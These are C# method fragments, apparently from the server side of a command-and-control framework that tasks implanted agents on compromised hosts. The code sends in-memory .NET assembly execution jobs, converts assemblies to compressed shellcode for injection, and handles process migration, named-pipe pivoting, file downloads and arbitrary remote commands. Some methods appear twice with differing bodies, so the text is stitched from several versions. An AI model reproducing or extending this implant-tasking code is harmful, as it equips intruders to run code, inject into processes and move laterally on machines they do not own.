public static void RunAssemblyBase64(string assembly, string method, string type, string[] args, IAgentInstance agent, string tasktype = null, string destfilename = null) { if (tasktype != null) { FileDownloadConfig modconfig = new FileDownloadConfig { Assembly = assembly, Method = method, Moduleclass = type, Parameters = args.ToArray <string>(), FileNameDest = destfilename }; TaskMsg task = new TaskMsg { TaskType = "download", Instanceid = RandomAString(10, new Random()), DownloadTask = modconfig, Agentid = agent.AgentId }; if (agent.Pivoter != null) { task.AgentPivot = agent.Pivoter.AgentId; } agent.SendCommand(task); } else { ModuleConfig modconfig = new ModuleConfig { Assembly = assembly, Method = method, Moduleclass = type, Parameters = args.ToArray <string>() }; TaskMsg task = new TaskMsg { TaskType = "module", Instanceid = RandomAString(10, new Random()), ModuleTask = modconfig, Agentid = agent.AgentId }; if (agent.Pivoter != null) { task.AgentPivot = agent.Pivoter.AgentId; } agent.SendCommand(task); } }
public static void RunStandardBase64(string assembly, string method, string type, string[] args, IAgentInstance agent) { if (agent != null) { StandardConfig modconfig = new StandardConfig { Assembly = assembly, Method = method, Moduleclass = type, Parameters = args.ToArray <string>() }; TaskMsg task = new TaskMsg { TaskType = "standard", Instanceid = RandomAString(10, new Random()), StandardTask = modconfig, Agentid = agent.AgentId }; if (agent.Pivoter != null) { task.AgentPivot = agent.Pivoter.AgentId; } agent.SendCommand(task); } }
public static void RunAssembly(string resname, string type, string[] args, IAgentInstance agent) { if (agent != null) { ModuleConfig modconfig = new ModuleConfig { Assembly = ReadResourceFile(resname), Method = "Execute", Moduleclass = type, Parameters = args.ToArray <string>() }; TaskMsg task = new TaskMsg { TaskType = "module", Instanceid = RandomAString(10, new Random()), ModuleTask = modconfig, Agentid = agent.AgentId }; if (agent.Pivoter != null) { task.AgentPivot = agent.Pivoter.AgentId; } agent.SendCommand(task); } }
private void RunSetManaged() { TaskMsg msg = new TaskMsg { Instanceid = RandomAString(10, new Random()), Agentid = agent.AgentId, TaskType = "managed" }; InjectionManaged injectionManagedTask = new InjectionManaged(); injectionManagedTask.Managed = true; msg.InjectionManagedTask = injectionManagedTask; agent.SendCommand(msg); }
private void Run() { if (!string.IsNullOrEmpty(pipename)) { TaskMsg msg = new TaskMsg(); msg.Agentid = agent.AgentId; msg.TaskType = "pivot"; agent.SendCommand(msg); } }
private void RunRemote(string input) { string command = input; CommandConfig cmdconfig = new CommandConfig { Command = command }; TaskMsg task = new TaskMsg { TaskType = "command", CommandTask = cmdconfig, Agentid = agent.AgentId }; if (agent.Pivoter != null) { task.AgentPivot = agent.Pivoter.AgentId; } agent.SendCommand(task); }
public static void RunAssembly(string resname, string type, string[] args, IAgentInstance agent) { if (agent != null) { ModuleConfig modconfig = new ModuleConfig { Assembly = ReadResourceFile(resname), Method = "Execute", Moduleclass = type, Parameters = args }; if (agent.Managed) { modconfig.Assembly = ReadResourceFile(resname); } else { modconfig.Assembly = Convert.ToBase64String(CompressGZipAssembly(Builder.GenerateShellcode( ReadResourceFile(resname), RandomAString(10, new Random()) + ".exe", type, "Execute", args))); } TaskMsg task = new TaskMsg { TaskType = "module", Instanceid = RandomAString(10, new Random()), ModuleTask = modconfig, Agentid = agent.AgentId }; if (agent.Pivoter != null) { task.AgentPivot = agent.Pivoter.AgentId; } agent.SendCommand(task); } }
public static void RunAssemblyBase64(string assembly, string method, string type, string[] args, IAgentInstance agent, string tasktype = null, string destfilename = null, string instanceid = null) { switch (tasktype) { case "download": FileDownloadConfig downloadconfig = new FileDownloadConfig { Assembly = assembly, Method = method, Moduleclass = type, Parameters = args.ToArray <string>(), FileNameDest = destfilename }; TaskMsg downloadtask = new TaskMsg { TaskType = "download", DownloadTask = downloadconfig, Agentid = agent.AgentId }; if (instanceid == null) { downloadtask.Instanceid = RandomAString(10, new Random()); } else { downloadtask.Instanceid = instanceid; } if (agent.Pivoter != null) { downloadtask.AgentPivot = agent.Pivoter.AgentId; } agent.SendCommand(downloadtask); break; case "migrate": ModuleConfig migrateconfig = new ModuleConfig { Assembly = assembly, Method = method, Moduleclass = type, Parameters = args.ToArray <string>() }; TaskMsg migratetask = new TaskMsg { TaskType = "migrate", ModuleTask = migrateconfig, Agentid = agent.AgentId }; if (instanceid == null) { migratetask.Instanceid = RandomAString(10, new Random()); } else { migratetask.Instanceid = instanceid; } if (agent.Pivoter != null) { migratetask.AgentPivot = agent.Pivoter.AgentId; } agent.SendCommand(migratetask); break; default: ModuleConfig modconfig = new ModuleConfig { Assembly = assembly, Method = method, Moduleclass = type, Parameters = args.ToArray <string>() }; if (agent.Managed) { modconfig.Assembly = assembly; } else { modconfig.Assembly = Convert.ToBase64String(CompressGZipAssembly(Builder.GenerateShellcode( assembly, RandomAString(10, new Random()) + ".exe", type, method, args))); } TaskMsg task = new TaskMsg { TaskType = "module", ModuleTask = modconfig, Agentid = agent.AgentId }; if (instanceid == null) { task.Instanceid = RandomAString(10, new Random()); } else { task.Instanceid = instanceid; } if (agent.Pivoter != null) { task.AgentPivot = agent.Pivoter.AgentId; } agent.SendCommand(task); break; } }